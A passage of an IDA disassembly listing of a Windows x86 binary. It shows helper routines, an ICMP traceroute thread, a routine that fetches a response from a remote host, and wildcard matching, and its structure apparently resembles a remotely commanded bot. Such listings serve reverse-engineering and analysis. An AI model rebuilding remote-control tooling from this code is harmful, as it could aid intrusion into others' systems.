ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE40, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE40 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2FC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 ; ??2@YAPAXI@Z pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 ; ??2@YAPAXI@Z pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E308 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E304 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC ; ??3@YAXPAX@Z pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC ; ??3@YAXPAX@Z pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E310 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E300, eax cmp dword_41E300, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E2FC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E308, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E304, eax mov byte_41E310, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2FC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E308, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E304, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2D8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, 